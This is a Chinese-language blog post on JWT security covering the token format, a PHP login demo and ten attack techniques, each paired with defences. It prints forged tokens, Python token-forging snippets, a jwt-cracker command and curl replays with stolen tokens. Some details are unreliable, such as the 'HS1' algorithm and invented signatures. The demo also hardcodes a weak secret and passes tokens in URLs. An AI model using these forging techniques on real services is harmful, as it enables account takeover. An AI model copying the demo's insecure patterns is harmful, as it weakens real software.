Web安全——JWT

发布于:2025-09-05 ⋅ 阅读:(22) ⋅ 点赞:(0)

JWT 安全研究:从本质到攻防

一、引言

在现代 Web 应用的身份认证体系中,JWT(JSON Web Token)几乎成为事实上的标准。前端工程师喜欢它的“无状态”,后端工程师喜欢它的“轻便”,架构师喜欢它的“分布式友好”。然而,作为安全研究员,我们更需要问一个问题:JWT 本质上是什么,它真的安全吗?

从本质上说,JWT 不是加密技术,而是 一种自包含的、基于签名的身份凭证格式。这一点决定了它的安全边界和潜在风险。

 

二、JWT 的本质

要理解 JWT 的安全问题,首先必须抓住它的本质。JWT = Header + Payload + Signature

  1. Header(头部)
    描述 Token 的类型和所使用的签名算法,例如:
    { "alg": "HS256", "typ": "JWT" }
  2. Payload(载荷)
    携带用户信息和声明(claims),如用户 ID、角色、过期时间等:
    { "sub": "alice", "role": "admin", "exp": 1693918080 }
  3. Signature(签名)
    用密钥和算法(如 HMAC-SHA256)对 Header 和 Payload 的组合进行签名,用来防止数据篡改。

这三个部分经过 Base64URL 编码后拼接为:header.payload.signature

1. 签名 ≠ 加密

一个常见的误区是“JWT 里的数据是安全的”。事实上,JWT 的 Payload 只是 Base64URL 编码,任何人都能解码查看。签名仅保证数据完整性,不能保证数据保密性。

2. 自包含的设计

JWT 的设计理念是“无状态”。服务端不再保存 Session,而是直接把身份和权限信息放进 Token。这样,任何一个服务只要能验证签名,就能确认用户身份。

这意味着:

  • JWT 本质上是一个“不可更改的身份证”
  • 一旦有人能伪造 Token,就等于拿到了系统的万能钥匙。

 

三、JWT 与传统 Session 的对比

理解 JWT 的本质,还需要把它与传统 Session 机制做对比。

特性

Session

JWT

存储位置

服务端存储(Redis/DB/内存)

客户端存储(Cookie/LocalStorage)

状态管理

有状态,需查 Session ID

无状态,直接验证签名

分布式支持

需共享 Session 数据

天然支持分布式

撤销机制

随时删除 Session ID

难以撤销,必须等过期

泄露风险

Session ID 被窃取

JWT 泄露或伪造

可以看到:

  • Session 把安全性寄托在“服务端掌控一切”上;
  • JWT 把安全性寄托在“签名正确性”上。

换句话说,JWT 的安全核心在于:签名密钥必须安全、签名算法必须正确实现、验证逻辑必须严格。

 

四、JWT 的安全弱点(本质层面)

从安全研究视角,JWT 的“方便”与“灵活”恰恰也是它的攻击面。以下是本质上的安全弱点:

1. Payload 明文可见

JWT 的 Payload 可被任何人解码。例如:

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYWxpY2UiLCAicm9sZSI6ICJhZG1pbiJ9.abc123

解码后立刻暴露用户身份和角色。如果开发者错误地把敏感数据(如密码、银行卡号)放进去,直接就是信息泄露。

2. 不可撤销性

JWT 一旦签发,服务端无法单独作废。

  • 如果 Token 有效期为 1 小时,被窃取后攻击者可以在这一小时内随意冒充用户。
  • 除非引入黑名单机制(破坏了“无状态”),否则无法解决。

3. 依赖签名的单点安全

JWT 的所有安全性都依赖签名:

  • 如果 secret 太弱,攻击者可字典爆破。
  • 如果验证逻辑有误,攻击者可能绕过签名。
  • 如果支持多算法,攻击者可进行算法混淆攻击。

4. 算法灵活导致攻击面

JWT 设计时支持多种签名算法,结果导致以下漏洞:

  • none 算法漏洞:如果服务端允许 alg=none,攻击者可伪造 Token。
  • RS/HS 混淆攻击:如果服务端错误地把公钥当作 HMAC secret 使用,就可能导致伪造签名。

5. 过期机制脆弱

JWT 的 exp、nbf、iat 等字段只是数字。

  • 一些开发者只验证签名,而忽略时间字段。
  • 这导致攻击者能长期使用过期 Token。

 

五、JWT 常见攻击与案例

作为安全研究员,在渗透测试和代码审计中,常见的 JWT 攻击手法包括:

1. none 算法攻击

早期一些库支持 alg=none,意味着不进行签名验证。攻击者只要把 Header 改成:

{ "alg": "none", "typ": "JWT" }

并删除 Signature,就能伪造任意用户身份。

2. 弱密钥爆破

如果服务端使用简单的密钥(如 secret、123456),攻击者可以使用工具(如 jwt-cracker)进行字典爆破,快速找到签名密钥,从而伪造 Token。

3. RS/HS 混淆攻击

如果系统支持 RS256(非对称加密),攻击者可以把 alg 改成 HS256,并用公钥作为 HMAC 密钥计算签名。由于服务端错误实现,可能导致验证通过。

4. KID 注入

一些 JWT 实现支持 kid(Key ID)字段,用于指定哪个密钥验证 Token。攻击者可能通过目录遍历、SQL 注入等方式在 kid 上做文章,进而绕过签名验证。

5. 重放攻击

JWT 缺乏内置的防重放机制。如果攻击者截获了合法 Token,可以在其过期前无限使用,造成会话劫持。

 

六、JWT 的安全设计原则

从安全研究角度,我们可以总结出以下设计与防御原则:

  1. 强密钥
    • 使用至少 256 位的随机密钥,避免字典爆破。
    • 定期更换密钥。
  2. 禁用 none 算法
    • 在服务端明确指定只接受特定算法(如 HS256 或 RS256)。
  3. 避免算法混淆
    • 如果使用非对称加密(RS256),严格区分公钥和私钥,不要让公钥参与 HMAC。
  4. 验证时间字段
    • 必须验证 exp、nbf、iat,避免过期或提前使用。
  5. 最小化 Payload 信息
    • 不要在 JWT 中放敏感数据(密码、银行卡、邮箱验证状态等)。
    • 仅放必要的 ID、角色等。
  6. 引入撤销机制
    • 可以维护黑名单(虽然牺牲“无状态”),或者缩短 JWT 的过期时间并配合 Refresh Token 机制。
  7. 传输安全
    • 必须使用 HTTPS 传输,防止中间人窃取 Token。
  8. 存储安全
    • 避免把 Token 存在 LocalStorage(容易被 XSS 窃取)。
    • 更推荐存放在 HttpOnly Cookie 中。

 

七、JWT 安全研究的本质认识

经过以上分析,我们可以回到 JWT 的“本质”:

  • JWT 并不是一种加密机制,而是一个 被签名的 JSON 数据结构
  • 它的安全性依赖:
    1. 签名算法的正确实现
    2. 密钥的强度和保密性
    3. 开发者是否正确校验时间、算法等

换句话说:

  • JWT 自身并不保证安全,它只是一个便利的载体。
  • 真正决定安全性的,是开发者的实现与使用方式。
  • 在攻击者眼里,JWT 的价值在于:它是“单点突破”的目标,一旦拿到密钥或找到逻辑缺陷,整个系统将被完全接管。

八、结语

JWT 作为现代 Web 应用广泛使用的认证方式,其便利性无可替代。但从安全研究的视角来看,它的本质——“自包含的签名 JSON”——注定让它背负诸多风险。

它不像 Session 那样可控,而是把安全问题转移到“签名与密钥”上。

它的灵活性让开发者高效,但同时也给攻击者留下了丰富的攻击面。

因此,JWT 不应被视为一种“安全技术”,而应被视为一种“便捷机制”。安全研究员需要始终提醒开发者:

  • 不要过度信任 JWT;
  • 不要把敏感数据放进 JWT;
  • 不要忽略签名验证的每一个细节。

最终,JWT 安全的核心并不是“JWT 本身”,而是“开发者能否正确理解并使用它”。

PHP 的轻量级 JWT 演示项目

项目功能设计

  1. 登录页面
    • 用户输入用户名 + 密码
    • 验证成功后,生成一个 JWT 返回给用户
  2. 访问受保护页面
    • 用户访问时必须带 JWT
    • 服务端验证 JWT 的签名 + 过期时间
    • 如果合法,显示用户信息,否则拒绝

项目结构

/jwt_demo
 ├── index.php        # 登录表单
 ├── login.php        # 登录处理 & JWT 生成
 ├── protected.php    # 需要 JWT 才能访问的页面
 ├── jwt.php          # JWT 工具函数(生成 & 验证)

代码实现

1. jwt.php —— JWT 工具函数

<?php
// jwt.php

// Secret key(生产环境要设置复杂的随机值)
$secret = "my_secret_key";

// 生成 JWT
function generate_jwt($payload, $secret) {
    $header = json_encode(['alg' => 'HS256', 'typ' => 'JWT']);
    $base64UrlHeader = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($header));
    $base64UrlPayload = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode(json_encode($payload)));

$signature = hash_hmac('sha256', $base64UrlHeader . "." . $base64UrlPayload, $secret, true);
    $base64UrlSignature = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($signature));

return $base64UrlHeader . "." . $base64UrlPayload . "." . $base64UrlSignature;
}

// 验证 JWT
function verify_jwt($jwt, $secret) {
    $tokenParts = explode('.', $jwt);
    if (count($tokenParts) !== 3) return false;

$header = base64_decode(strtr($tokenParts[0], '-_', '+/'));
    $payload = base64_decode(strtr($tokenParts[1], '-_', '+/'));
    $signatureProvided = $tokenParts[2];

// 重新计算签名
    $signature = hash_hmac('sha256', $tokenParts[0] . "." . $tokenParts[1], $secret, true);
    $base64UrlSignature = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($signature));

// 检查签名是否匹配
    if ($base64UrlSignature !== $signatureProvided) {
        return false;
    }

// 检查过期时间
    $payloadArray = json_decode($payload, true);
    if (isset($payloadArray['exp']) && $payloadArray['exp'] < time()) {
        return false; // Token 过期
    }

return $payloadArray;
}
?>

2. index.php —— 登录页面

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>JWT 登录</title>
</head>
<body>
    <h2>用户登录</h2>
    <form method="POST" action="login.php">
        用户名: <input type="text" name="username"><br>
        密码: <input type="password" name="password"><br>
        <button type="submit">登录</button>
    </form>
</body>
</html>

3. login.php —— 登录处理 & JWT 签发

<?php
include 'jwt.php';

// 模拟用户数据库
$users = [
    "alice" => "123456",
    "bob"   => "password"
];

$username = $_POST['username'];
$password = $_POST['password'];

if (isset($users[$username]) && $users[$username] === $password) {
    // 登录成功 -> 生成 JWT
    $payload = [
        "sub" => $username,
        "role" => ($username === "alice" ? "admin" : "user"),
        "exp" => time() + 60*5 // 5分钟过期
    ];
    $jwt = generate_jwt($payload, $secret);

echo "登录成功!你的 JWT:<br><br>";
    echo "<textarea rows='5' cols='80'>$jwt</textarea><br><br>";
    echo "<a href='protected.php?token=$jwt'>点此访问受保护页面</a>";
} else {
    echo "用户名或密码错误!";
}
?>

4. protected.php —— 受保护页面

<?php
include 'jwt.php';

// 获取 token(通过 GET 或 Header)
$jwt = $_GET['token'] ?? null;

if (!$jwt) {
    die("未提供 Token!");
}

$payload = verify_jwt($jwt, $secret);

if ($payload) {
    echo "<h2>欢迎你," . $payload['sub'] . "!</h2>";
    echo "你的角色是: " . $payload['role'] . "<br>";
    echo "Token 将在 " . date("Y-m-d H:i:s", $payload['exp']) . " 过期<br>";
} else {
    echo "Token 无效或已过期!";
}
?>

运行流程

  1. 访问 http://127.0.0.1/jwt_demo/index.php
  2. 输入用户名 alice,密码 123456
  3. 登录成功 → 获得 JWT
  4. 点击链接访问 protected.php?token=xxxx
  5. 如果 token 正确且未过期 → 显示用户信息,否则报错

JWT 安全问题与攻击技术

1. none 算法漏洞

安全问题

JWT Header 的 alg 字段被设置为 none 时,服务端可能跳过签名验证,Payload 可被任意篡改。风险包括任意权限提升和绕过认证机制。

攻击方式

  • 抓取合法 JWT Token
  • 修改 Header 为 {"alg":"none","typ":"JWT"}
  • 修改 Payload(如 "role":"admin")
  • 删除 Signature 后发送给受保护接口

样本

原 Token:

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJ1c2VyIjogImFs
aWNlIiwgInJvbGUiOiAidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

修改后的 Token:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyIjogImFs
aWNlIiwgInJvbGUiOiAiYWRtaW4ifQ.

示例

使用 Burp Suite 拦截请求,替换 Token 并删除 Signature,即可直接访问 /admin 接口。

防御策略

  • 服务端明确禁止 none 算法
  • 只接受指定算法(如 HS256 或 RS256)
  • 使用安全库进行 JWT 验证,避免自实现签名逻辑

2. 弱密钥 / 字典爆破

安全问题

JWT 使用简单或默认密钥(如 secret123),容易被攻击者通过字典或暴力破解伪造 Token。

攻击方式

  • 收集 JWT Token
  • 使用字典或工具如 jwt-cracker 尝试生成与原 Token 相同 Signature
  • 破解后生成任意 Payload Token

样本

假设原 Token 使用密钥 secret:

Header: {"alg":"HS256","typ":"JWT"}
Payload: {"user":"bob","role":"user"}

攻击者用字典工具生成密钥:

密钥: secret
生成 Token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJ1c2Vy
IjogImJvYiIsICJyb2xlIjogImFkbWluIn0.DR7QmNbd6Ux5vXqC-6XgDbk5xvE

示例

使用 jwt-cracker -t <token> -d wordlist.txt 破解,成功后发送生成的 Token 即可访问管理员接口。

防御策略

  • 使用高强度随机密钥(至少 256 位)
  • 定期更换密钥
  • 避免使用默认或常用字符串作为 JWT secret

3. 算法混淆攻击(RS/HS 混用)

安全问题

服务端使用 RS256 验证,但逻辑错误允许攻击者将 Header alg 修改为 HS256 并使用公钥生成签名。

攻击方式

  • 抓取 RS256 Token
  • 修改 Header 为 HS256
  • 使用公钥生成 HMAC 签名
  • 发送请求到接口

样本

原 Token:

Header: {"alg":"RS256","typ":"JWT"}
Payload: {"user":"alice","role":"user"}
Signature: <RS256签名>

攻击者修改:

Header: {"alg":"HS256","typ":"JWT"}
Payload: {"user":"alice","role":"admin"}
Signature: <HMAC公钥生成的签名>

示例

Python 演示:

import jwt
public_key = open('public.pem').read()
payload = {"user":"alice","role":"admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)

防御策略

  • 不允许客户端指定算法
  • 严格区分对称和非对称密钥
  • 使用成熟库校验 JWT

4. KID 注入漏洞

安全问题

JWT Header 中的 kid(Key ID)用于指定验证密钥,如果服务端未严格校验,攻击者可指定任意密钥,伪造合法 Token。

风险:攻击者可冒充任意用户,包括管理员。

攻击方式

  • 修改 Header 中 kid 为攻击者控制的密钥路径或值
  • 生成对应 Payload + Signature
  • 发送给服务端验证

样本

原 Token:

Header: {"alg":"HS256","typ":"JWT","kid":"key1"}
Payload: {"user":"bob","role":"user"}
Signature: <HS256签名>

攻击者修改:

Header: {"alg":"HS256","typ":"JWT","kid":"attacker_key"}
Payload: {"user":"bob","role":"admin"}
Signature: <使用attacker_key生成的签名>

示例

Python 示例:

import jwt
attacker_key = "my_fake_key"
payload = {"user":"bob","role":"admin"}
header = {"alg":"HS256","typ":"JWT","kid":"attacker_key"}
token = jwt.encode(payload, attacker_key, algorithm="HS256", headers=header)
print(token)

防御策略

  • 严格验证 kid 是否在允许列表
  • 不使用可控文件路径或用户输入作为密钥
  • 对每个密钥使用独立管理,限制访问

5. 过期时间绕过

安全问题

JWT 的 exp(过期时间)、nbf(生效时间)字段未严格验证,攻击者可使用过期或未生效 Token。

风险:会话劫持,长期访问受保护资源。

攻击方式

  • 修改 Payload 中 exp 或 nbf
  • 使用抓取的 Token 重放请求

样本

原 Payload:

{"user":"alice","role":"user","exp":1693700000}

攻击者修改:

{"user":"alice","role":"admin","exp":1893700000}

示例

Python 演示:

import jwt
secret = "mysecret"
payload = {"user":"alice","role":"admin","exp":1893700000}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

防御策略

  • 服务端必须验证 exp、nbf
  • 使用短期 Token + Refresh Token
  • 结合黑名单机制,支持 Token 撤销

6. Payload 明文信息泄露

安全问题

JWT Payload 仅 Base64URL 编码,不加密,攻击者可直接查看敏感信息。

风险:泄露用户角色、ID、邮箱等,辅助其他攻击(横向渗透、社工)。

攻击方式

  • 抓取 Token
  • Base64URL 解码 Payload

样本

Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYm9iIiwicm9sZSI6ImFkbWluIiwiZW1haWwiOiJib2JAbWFpbC5jb20ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

解码 Payload:

{"user":"bob","role":"admin","email":"bob@mail.com"}

示例

Linux 命令:

echo 'eyJ1c2VyIjoiYm9iIiwicm9sZSI6ImFkbWluIn0' | base64 -d

防御策略

  • 最小化 Payload,避免存储敏感信息
  • 对敏感信息使用加密或服务器端存储
  • 使用 HTTPS 传输,防止抓包泄露

7. Token 重放

安全问题

JWT 无内置防重放机制,攻击者可重复使用抓取的 Token。

风险:冒充用户访问接口,造成会话劫持。

攻击方式

  • 使用抓包工具获取合法 Token
  • 重放 HTTP 请求至受保护接口

样本

Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UifQ.<Signature>

攻击者直接在请求 Header 中替换 Authorization 即可访问接口。

示例

使用 curl 重放:

curl -H "Authorization: Bearer <token>" https://target.com/api/admin

防御策略

  • 引入 jti(JWT ID)或 nonce,实现一次性 Token
  • 对短期 Token 使用黑名单
  • 强化 HTTPS,防止抓包

8. Token 劫持(存储或传输不安全)

安全问题

JWT 存储在 LocalStorage 或通过 HTTP 明文传输,容易被 XSS 或 MITM 攻击者窃取。

风险:攻击者可获取用户身份,执行非法操作。

攻击方式

  • 利用浏览器 XSS 漏洞获取 LocalStorage 中的 Token
  • 或抓取 HTTP 明文 Token

样本

// 获取 LocalStorage 中 Token
let token = localStorage.getItem("jwt_token");
console.log(token);

示例

攻击者在浏览器控制台或通过恶意脚本获取 Token,并发送请求:

curl -H "Authorization: Bearer <stolen_token>" https://target.com/api

防御策略

  • 使用 HttpOnly + Secure Cookie 存储 Token
  • 全站启用 HTTPS
  • 防止 XSS,严格内容安全策略(CSP)

9. 签名算法降级

安全问题

允许客户端指定算法,攻击者可指定已知弱算法(如 MD5、SHA1)进行伪造。

风险:绕过强算法验证,实现权限提升。

攻击方式

  • 修改 Header 中 alg 为弱算法
  • 使用该算法生成签名 Token

样本

Header:

{"alg":"HS1","typ":"JWT"}

Payload:

{"user":"alice","role":"admin"}

示例

Python:

import jwt
secret = "weaksecret"
payload = {"user":"alice","role":"admin"}
token = jwt.encode(payload, secret, algorithm="HS1")
print(token)

防御策略

  • 服务端只接受强算法(HS256, RS256)
  • 不允许客户端指定算法
  • 使用成熟库进行签名验证

10. 过度依赖客户端验证

安全问题

服务端未独立验证 Token,权限逻辑放在客户端,攻击者可修改 Payload 绕过前端判断。

风险:可访问受保护资源,造成权限提升。

攻击方式

  • 修改 Payload 中权限字段
  • 直接调用 API 接口,无需前端限制

样本

Payload:

{"user":"bob","role":"admin"}

示例

Python:

import requests
token = "<modified_token>"
headers = {"Authorization": f"Bearer {token}"}
response = requests.get("https://target.com/api/admin", headers=headers)
print(response.text)

防御策略

  • 服务端独立验证 Token 和权限
  • 不依赖前端逻辑
  • 结合角色白名单、最小权限原则


网站公告

今日签到

点亮在社区的每一天
去签到